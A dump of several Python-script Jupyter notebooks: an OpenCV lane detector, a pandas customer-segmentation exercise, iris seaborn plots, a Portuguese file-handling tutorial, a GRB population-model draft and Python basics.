temp_area\n is_square = True\n\n return square, is_square\n\n\n# +\nfront_view = hsv(r, 'yellow')\nfront_view,_ = detect_square(front_view)\n\n\n# -\n\nnp.zeros((3,2))\nfront_img.shape\nfront_img[480,0,1]\n\n\n\n# +\ndef hsv(img, color='green'):\n hsv = cv2.cvtColor(img, cv2.COLOR_RGB2HSV)\n\n # 휴리스틱으로 구한거 같은데? 오진다,\n if color == 'green':\n mask = cv2.inRange(hsv, (25, 60, 50), (86, 255, 255))\n elif color == 'red':\n mask = cv2.inRange(hsv, (115, 100, 50), (130, 255, 255))\n elif color == 'blue':\n mask = cv2.inRange(hsv, (10, 150, 50), (30, 255, 255))\n elif color == 'yellow':\n mask = cv2.inRange(hsv, (80, 40, 145), (150, 255, 255))\n # mask = cv2.inRange(hsv, (80, 100, 145), (150, 255, 255))\n\n imask = mask > 0\n output = np.zeros_like(hsv, np.uint8)\n output[imask] = 255\n\n return output[:,:,0]\n\ndef clean(img):\n kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (9,9)) # kernel 만들기\n clean = cv2.morphologyEx(img, cv2.MORPH_OPEN, kernel) # 이럴거면 왜 이미지 하나로 opening, closing하는지?\n kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (15,15))\n output = cv2.morphologyEx(img, cv2.MORPH_CLOSE, kernel)\n # cv2.imwrite('test.png', clean)\n return output\n\ndef fit_poly(img_shape, leftx, lefty, rightx, righty):\n ### TO-DO: Fit a second order polynomial to each with np.polyfit() ###\n left_fit = np.polyfit(lefty, leftx, 2)\n right_fit = np.polyfit(righty, rightx, 2)\n # Generate x and y values for plotting\n ploty = np.linspace(0, img_shape[0]-1, img_shape[0])\n ### TO-DO: Calc both polynomials using ploty, left_fit and right_fit ###\n left_fitx = left_fit[0] * (ploty ** 2) + left_fit[1] * ploty + left_fit[2]\n right_fitx = right_fit[0] * (ploty ** 2) + right_fit[1] * ploty + right_fit[2]\n \n return left_fitx, right_fitx, ploty, left_fit, right_fit\n\ndef search_around_poly(binary_warped, left_fit, right_fit):\n # HYPERPARAMETER\n # Choose the width of the margin around the previous polynomial to search\n margin = 10\n\n # Grab activated pixels\n nonzero = binary_warped.nonzero()\n nonzeroy = np.array(nonzero[0])\n nonzerox = np.array(nonzero[1])\n \n ### TO-DO: Set the area of search based on activated x-values ###\n ### within the +/- margin of our polynomial function ###\n ### Hint: consider the window areas for the similarly named variables ###\n ### in the previous quiz, but change the windows to our new search area ###\n left_lane_inds = ((nonzerox > (left_fit[0]*(nonzeroy**2) + left_fit[1]*nonzeroy + left_fit[2] - margin))\n & (nonzerox < (left_fit[0]*(nonzeroy**2) + left_fit[1]*nonzeroy + left_fit[2] + margin)))\n right_lane_inds = ((nonzerox > (right_fit[0]*(nonzeroy**2) + right_fit[1]*nonzeroy + right_fit[2] - margin)) \n & (nonzerox < (right_fit[0]*(nonzeroy**2) + right_fit[1]*nonzeroy + right_fit[2] + margin)))\n \n # Again, extract left and right line pixel positions\n leftx = nonzerox[left_lane_inds]\n lefty = nonzeroy[left_lane_inds] \n rightx = nonzerox[right_lane_inds]\n righty = nonzeroy[right_lane_inds]\n\n # Fit new polynomials\n left_fitx, right_fitx, ploty, left_fit_refined, right_fit_refined = fit_poly(binary_warped.shape, leftx, lefty, rightx, righty)\n \n ## Visualization ##\n # Create an image to draw on and an image to show the selection window\n out_img = np.dstack((binary_warped, binary_warped, binary_warped))*255\n window_img = np.zeros_like(out_img)\n # Color in left and right line pixels\n out_img[nonzeroy[left_lane_inds], nonzerox[left_lane_inds]] = [0, 0, 255]\n out_img[nonzeroy[right_lane_inds], nonzerox[right_lane_inds]] = [0, 0, 255]\n\n # Generate a polygon to illustrate the search window area\n # And recast the x and y points into usable format for cv2.fillPoly()\n left_line_window1 = np.array([np.transpose(np.vstack([left_fitx-margin, ploty]))])\n left_line_window2 = np.array([np.flipud(np.transpose(np.vstack([left_fitx+margin, \n ploty])))])\n left_line_pts = np.hstack((left_line_window1, left_line_window2))\n right_line_window1 = np.array([np.transpose(np.vstack([right_fitx-margin, ploty]))])\n right_line_window2 = np.array([np.flipud(np.transpose(np.vstack([right_fitx+margin, \n ploty])))])\n right_line_pts = np.hstack((right_line_window1, right_line_window2))\n\n # Draw the lane onto the warped blank image\n result = cv2.fillPoly(window_img.copy(), np.int_([left_line_pts]), (0,255,0))\n nonzero_final_left = result.nonzero()\n ly = np.array(nonzero_final_left[0])\n lx = np.array(nonzero_final_left[1])\n result = cv2.fillPoly(window_img.copy(), np.int_([right_line_pts]), (0,255,0))\n nonzero_final_right = result.nonzero()\n ry = np.array(nonzero_final_right[0])\n rx = np.array(nonzero_final_right[1])\n # result = cv2.addWeighted(out_img, 1, window_img, 0.3, 0)\n # cv2.imwrite('xxx.png', result)\n # Plot the polynomial lines onto the image\n # plt.plot(left_fitx, ploty, color='yellow')\n # plt.plot(right_fitx, ploty, color='yellow')\n ## End visualization steps ##\n \n # return result, left_fit_refined, right_fit_refined, left_fitx, right_fitx, ploty\n # ly = nonzeroy[left_lane_inds]\n # lx = nonzerox[left_lane_inds]\n # ry = nonzeroy[right_lane_inds]\n # rx = nonzerox[right_lane_inds]\n return result, ly, lx, ry, rx\n\n\n# -\n\ndef lane_detect(img):\n img_ori = img\n img_hsv = hsv(img, color = 'yellow')\n img_clean = clean(img_hsv)\n out_img = cv2.cvtColor(img_clean, cv2.COLOR_BGR2RGB)\n\n # HYPERPARAMETERS\n # Choose the number of sliding windows\n nwindows = 10\n\n # Set the width of the windows +/- margin\n margin = 50\n\n # Set minimum number of pixels found to recenter window\n minpix = 50\n\n # Set height of windows - based on nwindows above and image shape\n window_height = np.int64(img_clean.shape[0]//nwindows)\n\n # Take a histogram of the bottom half of the image\n histogram = np.sum(img_clean[img_clean.shape[0]-window_height:img_clean.shape[0],:], axis=0)\n\n\n midpoint = np.int64(histogram.shape[0]//2)\n leftx_base = np.argmax(histogram[:midpoint])\n rightx_base = np.argmax(histogram[midpoint:]) + midpoint\n\n nonzero = img_clean.nonzero()\n nonzeroy = np.array(nonzero[0])\n nonzerox = np.array(nonzero[1])\n\n # Current positions to be updated later for each window in nwindows\n leftx_current = leftx_base\n rightx_current = rightx_base\n\n # Create empty lists to receive left and right lane pixel indices\n left_lane_inds = []\n right_lane_inds = []\n\n # Step through the windows one by one\n # for window in range(nwindows):\n for window in range(nwindows):\n # Identify window boundaries in x and y (and right and left)\n win_y_low = img_clean.shape[0] - (window+1)*window_height\n win_y_high = img_clean.shape[0] - window*window_height\n ### TO-DO: Find the four below boundaries of the window ###\n win_xleft_low = leftx_current - margin # Update this\n win_xleft_high = leftx_current + margin # Update this\n win_xright_low = rightx_current - margin # Update this\n win_xright_high = rightx_current + margin # Update this\n\n # Draw the windows on the visualization image\n cv2.rectangle(out_img,(win_xleft_low, win_y_low),(win_xleft_high, win_y_high),(0,255,0), 2) \n cv2.rectangle(out_img,(win_xright_low,win_y_low),(win_xright_high,win_y_high),(0,255,0), 2) \n # plt.imshow(xx)\n ### TO-DO: Identify the nonzero pixels in x and y within the window ###\n good_left_inds = ((nonzerox >= win_xleft_low) & (nonzerox < win_xleft_high) & (nonzeroy >= win_y_low) & (nonzeroy < win_y_high)).nonzero()[0]\n good_right_inds = ((nonzerox >= win_xright_low) & (nonzerox < win_xright_high) & (nonzeroy >= win_y_low) & (nonzeroy < win_y_high)).nonzero()[0]\n\n # Append these indices to the lists\n left_lane_inds.append(good_left_inds)\n right_lane_inds.append(good_right_inds)\n\n ### TO-DO: If you found > minpix pixels, recenter next window ###\n ### (`right` or `leftx_current`) on their peak histogram ###\n if(len(good_left_inds) > minpix):\n leftx_current = np.int64(np.mean(nonzerox[good_left_inds]))\n if(len(good_right_inds) > minpix):\n rightx_current = np.int64(np.mean(nonzerox[good_right_inds]))\n\n # Concatenate the arrays of indices (previously was a list of lists of pixels)\n left_lane_inds = np.concatenate(left_lane_inds)\n right_lane_inds = np.concatenate(right_lane_inds)\n\n # Extract left and right line pixel positions\n leftx = nonzerox[left_lane_inds]\n lefty = nonzeroy[left_lane_inds] \n rightx = nonzerox[right_lane_inds]\n righty = nonzeroy[right_lane_inds]\n ### TO-DO: Fit a second order polynomial to each using `np.polyfit` ###\n left_fit = np.polyfit(lefty, leftx, 2)\n right_fit = np.polyfit(righty, rightx, 2)\n\n\n ploty = np.linspace(0, img_clean.shape[0]-1, img_clean.shape[0] )\n # plot\n print(ploty)\n try:\n left_fitx = left_fit[0]*ploty**2 + left_fit[1]*ploty + left_fit[2]\n right_fitx = right_fit[0]*ploty**2 + right_fit[1]*ploty + right_fit[2]\n except TypeError:\n # Avoids an error if `left` and `right_fit` are still none or incorrect\n print('The function failed to fit a line!')\n left_fitx = 1*ploty**2 + 1*ploty\n right_fitx = 1*ploty**2 + 1*ploty\n\n ## Visualization ##\n # Colors in the left and right lane regions\n lane, ly, lx, ry, rx = search_around_poly(img_clean, left_fit, right_fit)\n img_ori[ly, lx] = (0, 0, 255)\n img_ori[ry, rx] = (0, 0, 255)\n output = img_ori\n return output, lane\n\nx, _ = lane_detect(img)\n\n","repo_name":"sonjjin/PD513chansigu","sub_path":"caffeine/src/notebook/svm.ipynb","file_name":"svm.ipynb","file_ext":"py","file_size_in_byte":19060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"15"} +{"seq_id":"70415858891","text":"# # Challenge 3\n#\n# In this challenge we will work on the `Orders` data set. In your work you will apply the thinking process and workflow we showed you in Challenge 2.\n#\n# You are serving as a Business Intelligence Analyst at the headquarter of an international fashion goods chain store. Your boss today asked you to do two things for her:\n#\n# **First, identify two groups of customers from the data set.** The first group is **VIP Customers** whose **aggregated expenses** at your global chain stores are **above the 95th percentile** (aka. 0.95 quantile). The second group is **Preferred Customers** whose **aggregated expenses** are **between the 75th and 95th percentile**.\n#\n# **Second, identify which country has the most of your VIP customers, and which country has the most of your VIP+Preferred Customers combined.**\n\n# ## Q1: How to identify VIP & Preferred Customers?\n#\n# We start by importing all the required libraries:\n\n# import required libraries\nimport numpy as np\nimport pandas as pd\n\n# Next, extract and import `Orders` dataset into a dataframe variable called `orders`. Print the head of `orders` to overview the data:\n\norders = pd.read_csv('Orders.csv', index_col=[0])\norders.head()\n\n# ---\n#\n# \"Identify VIP and Preferred Customers\" is the non-technical goal of your boss. You need to translate that goal into technical languages that data analysts use:\n#\n# ## How to label customers whose aggregated `amount_spent` is in a given quantile range?\n#\n\n# We break down the main problem into several sub problems:\n#\n# #### Sub Problem 1: How to aggregate the `amount_spent` for unique customers?\n#\n# #### Sub Problem 2: How to select customers whose aggregated `amount_spent` is in a given quantile range?\n#\n# #### Sub Problem 3: How to label selected customers as \"VIP\" or \"Preferred\"?\n#\n# *Note: If you want to break down the main problem in a different way, please feel free to revise the sub problems above.*\n#\n# Now in the workspace below, tackle each of the sub problems using the iterative problem solving workflow. Insert cells as necessary to write your codes and explain your steps.\n\n# ### Sub Problem 1:\n# How to aggregate the `amount_spent` for unique customers?\n\ncustomers = orders.groupby('CustomerID', as_index=False)['amount_spent'].agg(sum)\ncustomers.head()\n\n# ### Sub Problem 2:\n# How to select customers whose aggregated `amount_spent` is in a given quantile range?\n\n# +\n# 95% Quantile\nq95 = np.quantile(customers['amount_spent'], 0.95, axis=0)\n\n# 75% Quantile\nq75 = np.quantile(customers['amount_spent'], 0.75, axis=0)\n\n# Customers which amount spent is over the 95% quantile\nvips = customers[customers['amount_spent'] > q95]\ndisplay(vips.head())\n\n# Customers which amount spent is in the range of the 75% and the 95% quantile\npreferred = customers[(customers['amount_spent'] < q95) & (customers['amount_spent'] > q75)]\ndisplay(preferred.head())\n\n# -\n\n# ### Sub Problem 3:\n# How to label selected customers as \"VIP\" or \"Preferred\"?\n\n# +\ndef label_customer(amount_spent):\n if amount_spent > q95:\n return \"VIP\"\n elif amount_spent < q95 and amount_spent > q75:\n return \"Preferred\"\n else:\n return np.nan\n\norders['role'] = customers['amount_spent'].apply(label_customer)\n#orders = pd.concat([orders, roles], axis=1)\n\norders.head()\n\n# -\n\n# Now we'll leave it to you to solve Q2 & Q3, which you can leverage from your solution for Q1:\n#\n# ## Q2: How to identify which country has the most VIP Customers?\n\n# +\n# your code here\nx = orders.groupby(['Country','role']).agg({'role':'count'}).rename(columns={'role': 'num_roles'})\nx = x.reset_index().sort_values(by='num_roles', ascending=False)\n\nvips = x[x['role'] == 'VIP']\nvips = vips[vips['num_roles'] == vips['num_roles'].max()]\nvips\n\n# -\n\n# ## Q3: How to identify which country has the most VIP+Preferred Customers combined?\n\n# +\n# your code here\n\nprefs = x[x['role'] == 'Preferred']\nprefs = prefs[prefs['num_roles'] == prefs['num_roles'].max()]\nprefs\n\n# -\n\n# The country with the most VIP+Preferred customers combined is UK with (604+156) 760 customers.\n","repo_name":"lukwies/bootcamp_labs","sub_path":"lab-dataframe-calculations/your-code/challenge-3.ipynb","file_name":"challenge-3.ipynb","file_ext":"py","file_size_in_byte":4067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"15"} +{"seq_id":"41617259200","text":"# +\nimport pandas\nimport numpy as np\nimport seaborn as sb\nfrom sklearn import datasets\nimport matplotlib.pyplot as plot\n\nplot.style.use('ggplot')\n# %matplotlib inline\n\niris = datasets.load_iris()\niris_df_dat = pandas.DataFrame(iris['data'], columns=iris['feature_names'])\niris_df_tg = pandas.DataFrame(iris['target'],columns=['species'])\niris_dat_all = pandas.concat([iris_df_dat,iris_df_tg],axis=1)\n# -\n\niris['feature_names']\n\nsb.pairplot(iris_dat_all,hue='species')\n\n# +\nirisd = iris_dat_all\nfig,ax = plot.subplots(2,2,figsize=(10,10))\nsb.set(style='white', palette='muted')\n\nsb.violinplot(x=irisd['species'], y=irisd['sepal length (cm)'], ax=ax[0,0])\nsb.violinplot(x=irisd['species'], y=irisd['sepal width (cm)'], ax=ax[0,1])\nsb.violinplot(x=irisd['species'], y=irisd['petal length (cm)'], ax=ax[1,0])\nsb.violinplot(x=irisd['species'], y=irisd['petal width (cm)'], ax=ax[1,1])\n\nfig.suptitle('Violin Plots', fontsize=18)\nfig.tight_layout()\n# -\n\n\n","repo_name":"fran-man/ML-Blueprints-Book","sub_path":"Seaborn.ipynb","file_name":"Seaborn.ipynb","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"15"} +{"seq_id":"71645574413","text":"# # Capítulo 03 - Manipulação de Arquivos - Parte 2\n\n# ## Manipulando arquivos TXT\n#\n# TXT é a extensão de arquivo para arquivos de texto puro. Não tem formatações.
\n# São utilizados para armazenar dados simples, como listas, notas e documentos de texto.\n\n# Criando o texto para ser gravado\ntexto = \"Cientista de Dados pode ser uma excelente alternativa de carreira.\\n\"\n# concatenando mais um trecho de texto\ntexto += \"Esses profissionais precisam saber como programar em Python.\\n\"\n# concatenando mais um trecho de texto\ntexto += \"E, claro, devem ser proficientes em Data Science.\"\n\n# Imprimindo o texto\nprint(texto)\n\n# Importando o modo os para manipulação de arquivos do computador\nimport os\n\n# Criando o arquivo e abrindo ele em modo de escrita\narquivo = open(os.path.join(\"arquivos/cientista.txt\"), \"w\")\n\n# Gravando os dados no arquivo separados por espaços\nfor palavra in texto.split():\n arquivo.write(palavra + \" \")\n\n\n# Fechando o arquivo\narquivo.close()\n\n# +\n# Abrindo o arquivo em modo de leitura\narquivo = open(\"arquivos/cientista.txt\", \"r\")\nconteudo = arquivo.read()\narquivo.close()\n\nprint(conteudo)\n# -\n\n# ### Usando a Expressão `with`\n#\n# Quando usamos essa expressão, o método `close()` é executado automaticamente.\n\n# Abrindo o arquivo em modo leitura\nwith open(\"arquivos/cientista.txt\", \"r\") as arquivo:\n # Atribuindo o conteúdo do arquivo em uma variável\n conteudo = arquivo.read()\n\n# Imprimindo o conteúdo do arquivo\nprint(conteudo)\n\n# Imprimindo o texto que foi criado no começo deste notebook\nprint(texto)\n\n# Abrindo o arquivo em modo de escrita\nwith open(\"arquivos/cientista.txt\", \"w\") as arquivo:\n # Pegando o conteúdo do arquivo do caractere 0 até 18\n arquivo.write(texto[:19])\n # Pulando uma linha (dando enter)\n arquivo.write(\"\\n\")\n # Pegando o conteúdo do arquivo do caractere 28 até 65\n arquivo.write(texto[28:66])\n \n\n# +\n# Abrindo o arquivo em modo leitura\nwith open(\"arquivos/cientista.txt\", \"r\") as arquivo:\n conteudo = arquivo.read()\n \n# Imprimindo o conteúdo do arquivo\nprint(conteudo)\n# -\n\n# ## Manipulando Arquivos CSV\n#\n# CSV (Comma-Separated Values) é um formato de arquivo que armazena dados tabulares em formato de texto plano. Cada linha do arquivo CSV representa uma linha da tabela e as colunas são separadas por vírgulas.
\n# Utilizada para exportar e importar dados em diferentes aplicações, como planilhas e banco de dados.
\n# CSV é uma opção simples e universal para compartilhar dados, pois pode ser aberto e editado por muitos aplicativos diferentes, incluindo programas de planilha e editores de texto.\n\n# Importando o módulo CSV\nimport csv\n\n# Abrindo o arquivo em modo de escrita\nwith open(\"arquivos/numeros.csv\", \"w\") as arquivo:\n # Criando o objeto de gravação\n escrever = csv.writer(arquivo)\n \n # Gravando no arquivo linha a linha\n escrever.writerow((\"nota1\", \"nota2\", \"nota3\")) # cabeçalho\n escrever.writerow((63, 87, 92)) # linha 1\n escrever.writerow((61, 79, 76)) # linha 2\n escrever.writerow((72, 64, 91)) # linha 3\n\n# Abrindo o arquivo em modo de leitura com caracteres especiais\nwith open(\"arquivos/numeros.csv\", \"r\", encoding=\"utf8\", newline = \"\\r\\n\") as arquivo:\n # Criando o objeto de leitura\n leitor = csv.reader(arquivo)\n \n # Imprimindo cada linha do arquivo\n for linha in leitor:\n print(linha)\n\n# Abrindo o arquivo em modo de leitura\nwith open(\"arquivos/numeros.csv\", \"r\") as arquivo:\n leitor = csv.reader(arquivo)\n # Gerando uma lista com os dados do arquivo\n dados = list(leitor) \n\n# Imprimindo a lista\nprint(dados)\n\n# Imprimindo os dados a partir da segunda linha\nfor linha in dados[1:]:\n print(linha)\n\n# ## Manipulando Arquivos JSON\n#\n# JSON (JavaScript Object Notation) é um formato de dados de texto simples e leve que é utilizado para transmitir informações em aplicações web.
\n# Baseado na estrutura de objetos JavaScript e usa pares chave-valor para representar os dados.
\n# Amplamente utilizado como formato de intercâmbio de dados em aplicações web modernas.\n\n# Criando um dicionário\ndict_guido = {\n \"nome\": \"Guido Van Rossum\",\n \"linguagem\": \"Python\",\n \"similar\": [\"C\", \"Modula-3\", \"lisp\"],\n \"users\": 1000000\n}\n\n# Imprimindo cada par chave-valor do dicionário\nfor chave, valor in dict_guido.items():\n print(chave, valor)\n\n# Importando o módulo JSON\nimport json\n\n# Convertendo o dicionário para um objeto json\njson.dumps(dict_guido)\n\n# Abrindo o arquivo em modo de escrita\nwith open(\"arquivos/dados.json\", \"w\") as arquivo:\n # Escrevendo no arquivo a conversão de dicionário para JSON\n arquivo.write(json.dumps(dict_guido))\n\n# Abrindo o arquivo em modo de leitura\nwith open(\"arquivos/dados.json\", \"r\") as arquivo:\n # Atribuindo o conteúdo do arquivo na variável\n texto = arquivo.read()\n # Carregando o conteúdo do arquivo em formato json\n dados = json.loads(texto)\n\n# Imprimindo os dados\ndados\n\n# Imprimindo o valor de uma chave\nprint(dados[\"nome\"])\n\n# ### Extração de Arquivos da Web\n\n# +\n# Importando o módulo urlopen\nfrom urllib.request import urlopen\n\n# Gravando o arquivo json de um link em uma variável\nresponse = urlopen(\"http://vimeo.com/api/v2/video/57733101.json\").read().decode(\"utf8\")\n\n# Salvando a primeira parte do arquivo carregado em uma variável\ndados = json.loads(response)[0]\n\n# Imprimindo os dados\ndados\n# -\n\n# Imprimindo os dados\nprint(f\"Título: {dados['title']}\")\nprint(f\"URL: {dados['url']}\")\nprint(f\"Duração: {dados['duration']}\")\nprint(f\"Número de visualizações: {dados['stats_number_of_plays']}\")\n\n# ### Copiando o conteúdo de um arquivo para outro\n\n# Nomes dos arquivos\narquivo_fonte = \"arquivos/dados.json\"\narquivo_destino = \"arquivos/dados.txt\"\n\n# Método 1\nwith open(arquivo_fonte, \"r\") as infile:\n # Salvando o conteúdo do arquivo fonte\n text = infile.read()\n with open(arquivo_destino, 'w') as outfile:\n # Escrevendo o conteúdo para o arquivo destino\n outfile.write(text)\n\n# Método 2\n# Escrevendo no arquivo destino o conteúdo do arquivo fonte\nopen(arquivo_destino, \"w\").write(open(arquivo_fonte, \"r\").read())\n\n# Leitura do arquivo txt\nwith open(\"arquivos/dados.txt\", \"r\") as arquivo:\n texto = arquivo.read()\n dados = json.loads(texto)\n\n# Imprimindo os dados\nprint(dados)\n","repo_name":"MoisesCarvalho15/Python_DSA","sub_path":"Capitulo03/Cap03-02-TXT-CSV-JSON.ipynb","file_name":"Cap03-02-TXT-CSV-JSON.ipynb","file_ext":"py","file_size_in_byte":6319,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"15"} +{"seq_id":"73454647691","text":"import yaml\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport logging\nimport sys\nlog = logging.getLogger(__name__)\nlogging.basicConfig(stream=sys.stdout, level=logging.DEBUG,\n format='%(asctime)s.%(msecs)03d [%(levelname)s] %(message)s',\n datefmt='%H:%M:%S')\nlogging.getLogger('matplotlib').setLevel(logging.WARNING)\nwith open('/Users/palmerio/Science_projects/GRB_population_model/init/parameters.yml', 'r') as f:\n params = yaml.safe_load(f)\ndef BPL_lum(logL, logLbreak, slopeL, slopeH):\n \"\"\"\n Returns the unnormalized broken power law function\n Expects Lum arguments to be in log scale\n \"\"\"\n x = 10.**(logL - logLbreak)\n BPL_func = np.where(x <= 1, x**(1.-slopeL), x**(1.-slopeH))\n return BPL_func\ndef Schechter_log(self, logL, logLbreak, slope):\n \"\"\"\n Returns the unnormalized Schechter function\n Expects Lum arguments to be in log scale\n \"\"\"\n x = 10.**(logL - logLbreak)\n Sch = x**(1.-slope) * np.exp(-x)\n return Sch\n\n\nclass Distribution:\n def __init__(self, name, func=None, func_args={}, lim_min=None, lim_max=None, filename=None):\n if not isinstance(name, str):\n raise TypeError('The name of your Distribution must be a string.')\n self.func = func\n self.func_args = self._check_args(func, func_args)\n self.lim_min = lim_min\n self.lim_max = lim_max\n \n def plot(self, xrange=None, ax=None):\n if ax is None:\n ax = plt.gca()\n if xrange is None:\n xrange = np.linspace(lim_min, lim_max, 100)\n ax.plot(xrange, self.func(xrange, **self.func_args))\n\n def _check_args(self, func, args):\n import inspect\n req_args = inspect.signature(func).parameters.keys()\n ign_args = {k:args[k] for k in args if k not in req_args}\n clean_args = args.copy()\n if ign_args:\n log.warning(\"These provided arguments will be ignored because they \"\n \"are not used by the provided function: {}\".format(ign_args))\n for k in ign_args.keys():\n clean_args.pop(k)\n return clean_args\n\n\na = Distribution(name='ES', func=Schechter_log, func_args=params['luminosity_function'])\n\na.plot(xrange=np.linspace(50, 55))\n\n# +\ntestdict={'logL':3,\n 'logLbreak':1,\n 'slopeL':-2,\n 'zololo':'pi'}\n\ndef _check_args(func, args):\n import inspect\n req_args = inspect.signature(func).parameters.keys()\n ign_args = {k:args[k] for k in args if k not in req_args}\n clean_args = args.copy()\n if ign_args:\n log.warning(\"These provided arguments will be ignored because they \"\n \"are not used by the provided function: {}\".format(ign_args))\n for k in ign_args.keys():\n clean_args.pop(k)\n return clean_args\n\n\n\n# -\n\nx = _check_args(BPL_lum, testdict)\n\nnp.where(3<4, 2, 1)\n\n# +\n\n\ndef create_Stern_hist_for_lnL(fname=None, verbose=False):\n \"\"\"\n Create the histogram from [Stern et al. 2001]\n (https://ui.adsabs.harvard.edu/abs/2001ApJ...563...80S/abstract)\n Fig. 23 rebinned to avoid low counts\n The logN-logP is converted to number count histogram for\n comparison with the likelihood function\n \"\"\"\n global T_live_BATSE, T_BATSE_mission\n if fname is None:\n fname = '../observational_constraints/Stern.txt'\n\n bins = read_column(fname, 0, array=False)\n hist = read_column(fname, 1)\n err = read_column(fname, 2)\n bins.append(50.0) # append right edge of last bin\n bins = np.array(bins)\n\n # Uncorrect for delta_bin, time and fraction of sky observed\n delta_bin = np.log10(bins[1:]/bins[:-1])\n hist, err, _u = log_to_lin(hist, err)\n hist *= delta_bin * T_BATSE_mission * Omega_BATSE/(4*np.pi)\n err *= delta_bin * T_BATSE_mission * Omega_BATSE/(4*np.pi)\n\n if verbose:\n ln_oi = 0.\n for i, val in enumerate(hist):\n val2 = 10**val\n delta_bin = np.log10(bins[i+1]/bins[i])\n val2 *= delta_bin * T_live_BATSE\n ln_oi += val2*np.log(val2) - val2\n print(f\"ln(o_i!) = {ln_oi} from Stern histogram\")\n\n return bins, hist, err\ndef read_column(filename, column_nb, end=None, dtype=float, array=True, splitter=None, stripper=None, verbose=False):\n \"\"\"\n Function used to read ASCII files.\n It will skip lines starting with '#', '!' or '%'.\n\n Parameters\n ----------\n filename : [str]\n Name of the file containing the data\n\n column_nb: [int]\n Number of the column for the data.\n\n end : [int]\n Number of lines to read. Note: commented lines (i.e. starting with '#', '!', or '%') do not count as lines for this purpose.\n Default is None, which reads the whole file.\n\n dtype : [data-type]\n Type of the returned data. Default is float.\n\n array : [boolean]\n If True returns xdata as an array rather than a list. Default is True (arrays are faster)\n\n splitter : [str]\n String to use as a delimiter between columns. Default is None (uses default for str.split() which is a whitespace)\n\n stripper : [str]\n String to strip at the end of each line. Default is None (uses default for str.strip() which is a whitespace)\n\n Returns\n -------\n xdata : [array/list]\n x data\n \"\"\"\n\n nan = False\n\n xdata = []\n i_counter = 0\n with open(filename, 'r') as f:\n for i, line in enumerate(f):\n if len(line) != 0:\n if line[0] != '#' and line[0] != '!' and line[0] != '%':\n i_counter += 1\n line = line.strip(stripper)\n columns = line.split(splitter)\n try:\n xdata.append(dtype(columns[column_nb]))\n except ValueError:\n nan = True\n xdata.append(np.nan)\n if verbose:\n log.error(\"In read_column for {}: could not convert {} to {}, \\\n so added NaN.\".format(filename, columns[column_nb], dtype))\n except IndexError:\n if verbose:\n log.error(\"In read_column for {}: no data found for column {:d}, line {:d}. \\\n Input will be NaN.\".format(filename, column_nb, i))\n if (end is not None) and (i_counter >= end):\n break\n if array:\n xdata = np.asarray(xdata, dtype=dtype)\n if nan:\n log.warning(\"In read_column for {}: some strings could not be converted to {} \\\n NaNs were added instead.\".format(filename, dtype))\n\n return xdata\n\ndef log_to_lin(log_x, log_x_errp, log_x_errm=None):\n \"\"\"\n Takes logscale data with errors and converts to linear scale with correct error propagation.\n If log_x_errm is not provided, errors are assumed symmetric.\n Returns : x, x_errp, x_errm\n \"\"\"\n if log_x_errm is None:\n log_x_errm = log_x_errp\n x = 10**log_x\n x_errp = x * (10**log_x_errp - 1.0)\n x_errm = x * (1.0 - 10**(-log_x_errm))\n\n return x, x_errp, x_errm\n\nT_live_BATSE = 6.54 # years (Goldstein et al. 2013)\nT_BATSE_mission = 9.1 # years (Stern et al. 2001)\nOmega_BATSE = 0.7 * 4. * np.pi # years (Stern et al. 2001)\nR_tot_BATSE = 1110. # LGRBs per year in 4 pi above 0.066825 ph/s/cm2\nR_tot_BATSE_err = 40. # LGRBs per year in 4 pi above 0.066825 ph/s/cm2\n\n\n\n# -\n\nbins, hist, err = create_Stern_hist_for_lnL()\n\noutfname = '/Users/palmerio/Science_projects/GRB_population_model/observational_constraints/Stern.txt'\nwith open(outfname,'w') as f:\n for i in range(len(hist)):\n f.write(\"{:12.5e} \\t{:12.5e} \\t{:12.5e}\\n\".format(bins[i], hist[i], err[i]))\n\nnp.sum(hist)\n\n\n","repo_name":"JPalmerio/GRB_population_model","sub_path":"ipynb_codes/Distribution_class_work_in_progress.ipynb","file_name":"Distribution_class_work_in_progress.ipynb","file_ext":"py","file_size_in_byte":7830,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-jupyter-script","pt":"15"} +{"seq_id":"5681686301","text":"1\n\n1.0\n\n# 1\n\n1+1\n\n1*3\n\n1/2.0\n\n2 ** 4\n\nnum = 12\nname = 'Sam'\n\n\"My number is {} and my name is {}\".format(num,name)\n\nd = {\"key1\":1, \"key2\":2}\n\nd[\"key2\"]\n\n1 < 23\n\ns = {1,1,1,1,2,2,2,3,3,3}\n\ns\n\nt = (1,2,3)\n\nt[0]\n\nt[0] = 5\n\ns\n\nif 1 > 2:\n print(\"yep!\")\nelse:\n print(\"nope!\")\n\nseq = [1,2,3,4,5,6]\n\nfor item in seq:\n print(item)\n\n# +\ni = 1\n\nwhile i < 5:\n print(\"i is: {}\".format(i))\n i = i + 1\n\n# +\n\nfor x in range(0,5):\n print(x)\n\n# -\n\ndef sum(a,b):\n return a + b\n\n\nnum = sum(1,2)\n\nnum\n\n\ndef times2(var):\n return var*2\n\n\ntimes2(5)\n\nseq = [1,2,3,4,5]\n\n\n\nlist(filter(lambda num: num%2==0, seq))\n\ns = \"hello my name is Sam\"\n\ns.lowe()\n\ns.lower()\n\ns.upper()\n\ns.split()\n\ntweet = \"Go Sports! #sports\"\n\ntweet.split('#')\n\ntweet.split(\"#\")[1]\n\nd\n\nd = {'k1':1,'k2':2}\n\nd.keys()\n\nd.items()\n\nd.values()\n\nlst = [1,2,3]\n\nlst.pop()\n\nlst\n\nitem = lst.pop()\n\nitem\n\n'x' in [1,2,3]\n\n'x' in [1,2,3,'x']\n\nx = [(1,2),(3,4),(5,6)]\n\nx[0][1]\n\nfor a,b in x:\n print(a)\n print(b)\n\n\n","repo_name":"mrci95/ml_training","sub_path":"intro/Introduction.ipynb","file_name":"Introduction.ipynb","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"15"} +{"seq_id":"498645502","text":"# 